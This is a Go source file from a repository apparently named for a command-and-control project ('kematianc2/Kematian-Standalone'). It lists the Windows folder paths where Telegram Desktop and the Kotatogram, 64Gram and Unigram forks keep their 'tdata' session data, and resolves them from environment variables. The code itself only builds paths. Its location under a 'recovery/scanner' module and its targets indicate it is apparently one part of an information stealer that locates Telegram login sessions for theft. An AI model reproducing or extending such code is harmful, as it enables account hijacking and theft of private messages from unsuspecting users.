Files
kematianc2/Kematian-Standalone/native/recovery/scanner/telegram_windows.go
T

28 lines
663 B
Go
Raw Normal View History

2026-08-27 11:23:01 -06:00
//go:build windows
package scanner
import "os"
func getTelegramPaths() []telegramPathConfig {
return []telegramPathConfig{
{"Telegram Desktop", `Telegram Desktop\tdata`, "appdata"},
{"Telegram Desktop (alt)", `Telegram Desktop\tdata`, "userprofile"},
{"Kotatogram", `Kotatogram Desktop\tdata`, "appdata"},
{"64Gram", `64Gram Desktop\tdata`, "appdata"},
{"Unigram", `Unigram\$local\tdata`, "localappdata"},
}
}
func resolveTelegramBase(base string) string {
switch base {
case "appdata":
return os.Getenv("APPDATA")
case "localappdata":
return os.Getenv("LOCALAPPDATA")
case "userprofile":
return os.Getenv("USERPROFILE")
}
return ""
}